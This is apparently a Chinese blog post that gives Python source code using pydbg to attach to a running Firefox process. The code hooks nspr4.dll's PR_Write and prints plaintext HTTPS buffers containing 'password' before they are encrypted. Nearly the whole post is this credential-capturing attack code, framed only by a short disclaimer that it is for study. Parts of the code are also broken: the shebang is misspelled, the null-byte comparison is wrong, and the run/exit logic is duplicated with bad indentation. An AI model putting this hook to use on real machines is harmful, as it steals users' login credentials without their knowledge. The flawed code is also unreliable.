Python利用pydbg Hook技术捕获Firefox HTTPS明文数据的原理与实现

木白

发布时间：2026-10-12 | 4人浏览过

原创

本文介绍如何利用Python的pydbg库对Firefox浏览器进程进行Hook，通过拦截nspr4.dll中的PR_Write函数，在数据加密前捕获包含密码的明文缓冲区。代码展示了进程查找、动态挂钩及内存读取的核心逻辑，仅供安全研究与技术交流，严禁用于非法用途。

相较于HTTP协议，HTTPS的主要优势在于其通信内容的加密安全性。使用常规的网络嗅探工具无法直接获取HTTPS传输的有效载荷，因为其内容已被加密，这降低了直接利用的价值。因此，许多涉及敏感信息（如金融交易）的大型网站均强制采用HTTPS协议。然而，即便存在加密保护，仍存在通过特定技术手段获取用户凭证的可能性。本文仅以Firefox浏览器登录HTTPS网站为例，演示如何在程序运行前预先设置捕获机制以获取用户名和密码。本内容 strictly 限于技术学习与交流，请务必遵守法律法规，禁止用于任何违法活动。

以下是实现该功能的Python源代码示例：

复制代码代码如下:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *

import utils     
import sys     

dbg = pydbg()     
found_firefox = False

pattern = "password"

          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0

    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容，包括他的pid，地址，嗅探类型    

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     

if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)